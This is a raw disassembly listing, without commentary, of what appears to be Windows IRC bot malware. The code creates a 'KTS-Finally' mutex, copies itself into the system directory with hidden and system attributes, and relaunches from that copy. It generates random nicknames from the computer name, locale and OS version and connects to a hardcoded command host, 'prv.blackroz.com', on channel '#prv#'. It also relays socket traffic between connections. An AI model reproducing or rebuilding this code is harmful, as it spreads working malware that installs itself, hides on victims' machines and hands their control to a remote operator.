		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_405E27
		push	edi
		push	edi
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_42CF74[ecx], eax
		jz	short loc_405DF6
		jmp	short loc_405DAF
; ---------------------------------------------------------------------------


loc_405DA7:				; CODE XREF: sub_405C55+15Dj
		push	32h
		call	dword_417040	; Sleep


loc_405DAF:				; CODE XREF: sub_405C55+150j
		cmp	[ebp+var_20], edi
		jz	short loc_405DA7
		mov	ebx, 1000h


loc_405DB9:				; CODE XREF: sub_405C55+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_42B3EC	; recv
		cmp	eax, edi
		jle	short loc_405DF6
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B420	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405DB9


loc_405DF6:				; CODE XREF: sub_405C55+44j
					; sub_405C55+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_42CF6C[eax]
		call	dword_42B468	; closesocket
		push	[ebp+arg_0]
		call	dword_42B468	; closesocket
		push	[ebp+var_4]
		call	sub_40AD6A
		pop	ecx
		push	edi
		call	dword_417050	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405C55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E27	proc near		; DATA XREF: sub_405C55+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_40B690
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_405E5E:				; CODE XREF: sub_405E27+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_42CF70[esi]
		call	dword_42B3EC	; recv
		test	eax, eax
		jle	short loc_405EA5
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_42CF6C[esi]
		call	dword_42B420	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405E5E


loc_405EA5:				; CODE XREF: sub_405E27+61j
		push	dword_42CF70[esi]
		call	dword_42B468	; closesocket
		push	[ebp+var_14]
		call	sub_40AD6A
		pop	ecx
		push	0
		call	dword_417050	; ExitThread
		pop	edi
		pop	esi
sub_405E27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405EC4	proc near		; CODE XREF: sub_4061FA+4Ap
					; DATA XREF: .nsp0:off_41BEA8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aWw ; "Ww|"
		push	offset aS_0	; "%s"
		push	1Ch
		push	edi
		call	sub_40BDE7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41C0EC, esi
		jle	short loc_405F1D


loc_405EF7:				; CODE XREF: sub_405EC4+57j
		call	sub_40B54F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41BEFC
		push	1Ch
		push	edi
		call	sub_40BDE7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41C0EC
		jl	short loc_405EF7


loc_405F1D:				; CODE XREF: sub_405EC4+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F22	proc near		; CODE XREF: sub_406BAB+1FD9p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		pop	ecx
		call	sub_40B54F
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_41C0EC
		test	esi, esi
		jle	short loc_405F65


loc_405F4F:				; CODE XREF: sub_405F22+41j
		call	sub_40B54F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_405F4F


loc_405F65:				; CODE XREF: sub_405F22+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_405F22	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset dword_41BF04
		push	eax
		push	esi
		call	dword_4170C8	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_40BDE7
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_41C0EC, esi
		jle	short loc_405FD8


loc_405FB2:				; CODE XREF: .nsp0:00405FD6j
		call	sub_40B54F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41BEFC
		push	1Ch
		push	edi
		call	sub_40BDE7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41C0EC
		jl	short loc_405FB2


loc_405FD8:				; CODE XREF: .nsp0:00405FB0j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4170D8	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_41BF08
		push	1Ch
		push	edi
		call	sub_40BDE7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41C0EC, esi
		jle	short loc_40604D


loc_406027:				; CODE XREF: .nsp0:0040604Bj
		call	sub_40B54F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41BEFC
		push	1Ch
		push	edi
		call	sub_40BDE7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41C0EC
		jl	short loc_406027


loc_40604D:				; CODE XREF: .nsp0:00406025j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_422270
		mov	dword ptr [ebp-94h], 94h
		call	dword_417000	; GetVersionExA
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_4060D7
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4060B7
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4060A7
		mov	esi, offset dword_41BF30


loc_4060A7:				; CODE XREF: .nsp0:004060A0j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_406113
		mov	esi, offset dword_41BF2C
		jmp	short loc_406113
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: .nsp0:00406097j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4060C7
		mov	esi, offset dword_41BF28
		jmp	short loc_406113
; ---------------------------------------------------------------------------


loc_4060C7:				; CODE XREF: .nsp0:004060BEj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40610E
		mov	esi, offset dword_41BF24
		jmp	short loc_406113
; ---------------------------------------------------------------------------


loc_4060D7:				; CODE XREF: .nsp0:0040608Ej
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40610E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4060F0
		mov	esi, offset dword_41BF20
		jmp	short loc_406113
; ---------------------------------------------------------------------------


loc_4060F0:				; CODE XREF: .nsp0:004060E7j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_406100
		mov	esi, offset dword_41BF1C
		jmp	short loc_406113
; ---------------------------------------------------------------------------


loc_406100:				; CODE XREF: .nsp0:004060F7j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_41BF18
		jz	short loc_406113


loc_40610E:				; CODE XREF: .nsp0:004060CEj
					; .nsp0:004060DEj
		mov	esi, offset dword_41BF14


loc_406113:				; CODE XREF: .nsp0:004060AEj
					; .nsp0:004060B5j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_41BF0C
		push	1Ch
		push	edi
		call	sub_40BDE7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41C0EC, esi
		jle	short loc_406157


loc_406131:				; CODE XREF: .nsp0:00406155j
		call	sub_40B54F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41BEFC
		push	1Ch
		push	edi
		call	sub_40BDE7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41C0EC
		jl	short loc_406131


loc_406157:				; CODE XREF: .nsp0:0040612Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40615D	proc near		; CODE XREF: sub_4061FA+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_41705C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		call	dword_42B3E0	; FindWindowA
		cmp	esi, 0Ah
		jbe	short loc_4061AC
		test	eax, eax
		mov	eax, offset dword_41BF3C
		jnz	short loc_406195
		mov	eax, offset byte_422270


loc_406195:				; CODE XREF: sub_40615D+31j
		push	eax
		push	esi
		push	offset dword_41BF34
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_40BDE7
		add	esp, 14h
		jmp	short loc_4061C6
; ---------------------------------------------------------------------------


loc_4061AC:				; CODE XREF: sub_40615D+28j
		test	eax, eax
		mov	eax, offset dword_41BF3C
		jnz	short loc_4061BA
		mov	eax, offset byte_422270


loc_4061BA:				; CODE XREF: sub_40615D+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_4061C6:				; CODE XREF: sub_40615D+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40B5B0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_4061F5
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_40AF90
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_40B110
		add	esp, 18h


loc_4061F5:				; CODE XREF: sub_40615D+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40615D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061FA	proc near		; CODE XREF: sub_4068DA+7Fp
					; sub_406A2F+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_406203:				; CODE XREF: sub_4061FA+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_406221
		lea	eax, dword_41BE98[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_40C250
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40622F
; ---------------------------------------------------------------------------


loc_406221:				; CODE XREF: sub_4061FA+Dj
		mov	ecx, dword_41BEA4[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40622F:				; CODE XREF: sub_4061FA+25j
		test	eax, eax
		jnz	short loc_40623E
		add	esi, 14h
		inc	edi
		cmp	esi, 64h
		jb	short loc_406203
		jmp	short loc_40624C
; ---------------------------------------------------------------------------


loc_40623E:				; CODE XREF: sub_4061FA+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_41BEA8[eax*4]
		pop	ecx


loc_40624C:				; CODE XREF: sub_4061FA+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40625F
		push	[ebp+arg_0]
		call	sub_40615D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40625F:				; CODE XREF: sub_4061FA+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4061FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406264	proc near		; DATA XREF: sub_406331+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A4h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_42B3D4	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_42B450	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406322
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42B380	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_42CF6C[ecx], esi
		jz	short loc_406322
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_42B45C	; inet_ntoa
		push	eax
		mov	edi, offset dword_42BFD8
		push	offset unk_41BF40
		push	edi
		call	sub_40B0B3
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_404555
		push	edi
		call	sub_403145
		add	esp, 28h


loc_406322:				; CODE XREF: sub_406264+5Dj
					; sub_406264+7Ej
		push	esi
		call	dword_42B468	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_406264	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_406331	proc near		; DATA XREF: sub_406BAB+1BAFo

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_417040
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40635F:				; CODE XREF: sub_406331+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset dword_41BF68
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_42CD60
		push	eax
		call	sub_40B110
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_406264
		push	edi
		push	edi
		call	dword_417048	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_4063CB
		jmp	short loc_4063C6
; ---------------------------------------------------------------------------


loc_4063C2:				; CODE XREF: sub_406331+98j
		push	32h
		call	esi	; Sleep


loc_4063C6:				; CODE XREF: sub_406331+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_4063C2


loc_4063CB:				; CODE XREF: sub_406331+8Dj
		push	[ebp+var_4]
		call	dword_417074	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B210
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_42B31C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_42B3D0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B210
		add	esp, 0Ch
		jmp	loc_40635F
sub_406331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406422	proc near		; CODE XREF: sub_40D514+C9p

var_908		= byte ptr -908h
var_804		= byte ptr -804h
var_803		= byte ptr -803h
var_674		= byte ptr -674h
var_574		= byte ptr -574h
var_474		= byte ptr -474h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= byte ptr -168h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 908h
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], offset sub_403B83
		push	[ebp+var_10]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	edi, dword_41705C
		call	edi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_47F740, eax
		call	edi	; GetTickCount
		push	eax
		call	sub_40B545
		pop	ecx
		call	sub_4045F0
		push	2
		call	dword_42B47C	; SetErrorMode
		push	7530h
		push	offset aKtsFinally ; "KTS-Finally"
		push	esi
		push	esi
		call	dword_4170EC	; CreateMutexA
		push	eax
		call	dword_4170E8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4064A7
		push	1
		call	dword_41706C	; ExitProcess


loc_4064A7:				; CODE XREF: sub_406422+7Bj
		lea	eax, [ebp+var_804]
		push	eax
		push	202h
		call	dword_42B35C	; WSAStartup
		cmp	eax, esi
		jnz	loc_4068D1
		cmp	[ebp+var_804], 2
		jnz	loc_4068CB
		xor	eax, eax
		mov	al, [ebp+var_803]
		cmp	al, 2
		jnz	loc_4068CB
		mov	edi, 104h
		lea	eax, [ebp+var_370]
		push	edi
		push	eax
		call	dword_417080	; GetSystemDirectoryA
		lea	eax, [ebp+var_26C]
		push	edi
		push	eax
		push	esi
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_41704C	; GetModuleFileNameA
		lea	eax, [ebp+var_574]
		push	eax
		lea	eax, [ebp+var_674]
		push	eax
		push	esi
		lea	eax, [ebp+var_26C]
		push	esi
		push	eax
		call	sub_40D21A
		lea	eax, [ebp+var_574]
		push	eax
		lea	eax, [ebp+var_674]
		push	eax
		push	offset aSS_3	; "%s%s"
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_40BDE7
		lea	eax, [ebp+var_370]
		push	eax
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_40CE60
		add	esp, 30h
		test	eax, eax
		jnz	loc_406702
		cmp	dword_41C0E0, esi
		mov	edi, offset byte_41C1A0
		jz	short loc_4065A6
		push	edi
		mov	[ebp+var_4], esi
		call	sub_40B5B0
		sub	eax, 4
		pop	ecx
		jz	short loc_4065A6


loc_40657D:				; CODE XREF: sub_406422+182j
		call	sub_40B54F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_4]
		push	edi
		add	dl, 61h
		inc	[ebp+var_4]
		mov	byte_41C1A0[eax], dl
		call	sub_40B5B0
		sub	eax, 4
		pop	ecx
		cmp	[ebp+var_4], eax
		jb	short loc_40657D


loc_4065A6:				; CODE XREF: sub_406422+14Aj
					; sub_406422+159j
		lea	eax, [ebp+var_370]
		push	edi
		push	eax
		lea	eax, [ebp+var_168]
		push	offset aSS_2	; "%s\\%s"
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		lea	eax, [ebp+var_168]
		push	eax
		call	dword_4170B8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4065E6
		lea	eax, [ebp+var_168]
		push	80h
		push	eax
		call	dword_4170B4	; SetFileAttributesA


loc_4065E6:				; CODE XREF: sub_406422+1B0j
		mov	edi, dword_4170E4
		xor	ebx, ebx
		jmp	short loc_406612
; ---------------------------------------------------------------------------


loc_4065F0:				; CODE XREF: sub_406422+203j
		call	dword_417044	; RtlGetLastWin32Error
		cmp	ebx, esi
		jnz	short loc_406627
		cmp	eax, 20h
		jz	short loc_406604
		cmp	eax, 5
		jnz	short loc_406627


loc_406604:				; CODE XREF: sub_406422+1DBj
		xor	ebx, ebx
		push	3A98h
		inc	ebx
		call	dword_417040	; Sleep


loc_406612:				; CODE XREF: sub_406422+1CCj
		lea	eax, [ebp+var_168]
		push	esi
		push	eax
		lea	eax, [ebp+var_26C]
		push	eax
		call	edi	; CopyFileA
		test	eax, eax
		jz	short loc_4065F0


loc_406627:				; CODE XREF: sub_406422+1D6j
					; sub_406422+1E0j
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_405401
		pop	ecx
		lea	eax, [ebp+var_168]
		push	7
		push	eax
		call	dword_4170B4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40B630
		push	44h
		lea	eax, [ebp+var_64]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40B630
		mov	[ebp+var_64], edi
		xor	edi, edi
		inc	edi
		add	esp, 18h
		mov	[ebp+var_58], offset byte_422270
		mov	[ebp+var_38], edi
		mov	[ebp+var_34], si
		call	dword_4170E0	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	dword_4170D4	; OpenProcess
		lea	ecx, [ebp+var_26C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_908]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_370]
		push	eax
		push	esi
		push	28h
		push	edi
		push	esi
		lea	eax, [ebp+var_908]
		push	esi
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		call	dword_417070	; CreateProcessA
		test	eax, eax
		jz	short loc_4066FF
		push	0C8h
		call	dword_417040	; Sleep
		push	[ebp+var_20]
		mov	edi, dword_417074
		call	edi	; CloseHandle
		push	[ebp+var_1C]
		call	edi	; CloseHandle
		call	dword_42B344	; WSACleanup
		push	esi
		call	dword_41706C	; ExitProcess


loc_4066FF:				; CODE XREF: sub_406422+2B3j
		mov	ebx, [ebp+var_4]


loc_406702:				; CODE XREF: sub_406422+139j
		cmp	dword_47F930, 2
		jle	short loc_40674E
		mov	eax, dword_47F934
		push	dword ptr [eax+4]
		call	sub_40C3AF
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	dword_4170E8	; WaitForSingleObject
		push	edi
		call	dword_417074	; CloseHandle
		mov	eax, dword_47F934
		cmp	[eax+8], esi
		jz	short loc_40674E
		push	7D0h
		call	dword_417040	; Sleep
		mov	eax, dword_47F934
		push	dword ptr [eax+8]
		call	dword_4170DC	; DeleteFileA


loc_40674E:				; CODE XREF: sub_406422+2E7j
					; sub_406422+311j
		cmp	dword_41C0E4, esi
		jz	short loc_40676B
		cmp	dword_42B498, esi
		jnz	short loc_40676B
		lea	eax, [ebp+var_474]
		push	eax
		call	sub_4031BC
		pop	ecx


loc_40676B:				; CODE XREF: sub_406422+332j
					; sub_406422+33Aj
		push	0B80h
		push	esi
		push	offset dword_42C1E0
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_474]
		push	esi
		push	eax
		push	offset sub_40322D
		push	esi
		push	esi
		call	dword_417048	; CreateThread
		imul	ebx, 234h
		cmp	eax, esi
		mov	dword_42CF74[ebx], eax
		jnz	short loc_4067B1
		call	sub_40B54F
		mov	dword_47F8B4, eax


loc_4067B1:				; CODE XREF: sub_406422+383j
		push	7Fh
		mov	ebx, offset dword_47F74C
		push	offset aPrv_blackroz_c ; "prv.blackroz.com"
		push	ebx
		call	sub_40B110
		mov	eax, dword_41C0D0
		push	3Fh
		mov	edi, offset dword_47F7CC
		push	offset aPrv	; "#prv#"
		push	edi
		mov	dword_47F89C, eax
		call	sub_40B110
		push	3Fh
		mov	esi, offset dword_47F80C
		push	offset aPr__	; "pr.."
		push	esi
		call	sub_40B110
		add	esp, 24h
		and	dword_47F8A0, 0


loc_4067FB:				; CODE XREF: sub_406422+455j
					; sub_406422+45Ej ...
		and	[ebp+var_4], 0


loc_4067FF:				; CODE XREF: sub_406422+415j
		and	dword_47F8B0, 0
		push	offset dword_47F748
		call	sub_4068DA
		cmp	eax, 2
		jz	loc_4068C6
		cmp	dword_47F8B0, 0
		jz	short loc_406825
		dec	[ebp+var_4]


loc_406825:				; CODE XREF: sub_406422+3FEj
		push	0BB8h
		call	dword_417040	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4067FF
		cmp	[ebp+var_C], 0
		jz	short loc_406879
		push	7Fh
		push	offset aPrv_blackroz_c ; "prv.blackroz.com"
		push	ebx
		call	sub_40B110
		mov	eax, dword_41C0D0
		push	3Fh
		push	offset aPrv	; "#prv#"
		push	edi
		mov	dword_47F89C, eax
		call	sub_40B110
		push	3Fh
		push	offset aPr__	; "pr.."
		push	esi
		call	sub_40B110
		add	esp, 24h
		and	[ebp+var_C], 0
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_406879:				; CODE XREF: sub_406422+41Bj
		cmp	byte_41C17C, 0
		jz	loc_4067FB
		push	7Fh
		push	offset byte_41C17C
		push	ebx
		call	sub_40B110
		mov	eax, dword_41C0D4
		push	3Fh
		push	offset aPrv_0	; "#prv#"
		push	edi
		mov	dword_47F89C, eax
		call	sub_40B110
		push	3Fh
		push	offset aPr___0	; "pr.."
		push	esi
		call	sub_40B110
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_4068C6:				; CODE XREF: sub_406422+3F1j
		call	sub_40AC17


loc_4068CB:				; CODE XREF: sub_406422+A6j
					; sub_406422+B6j
		call	dword_42B344	; WSACleanup


loc_4068D1:				; CODE XREF: sub_406422+99j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_406422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068DA	proc near		; CODE XREF: sub_406422+3E9p

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4068FF:				; CODE XREF: sub_4068DA+E6j
					; sub_4068DA+125j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_42B3D4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40564F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_406A2B
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_40B630
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_41C0F4
		push	dword_41C0F0
		push	eax
		call	sub_4061FA
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_42CF78
		push	edi
		push	eax
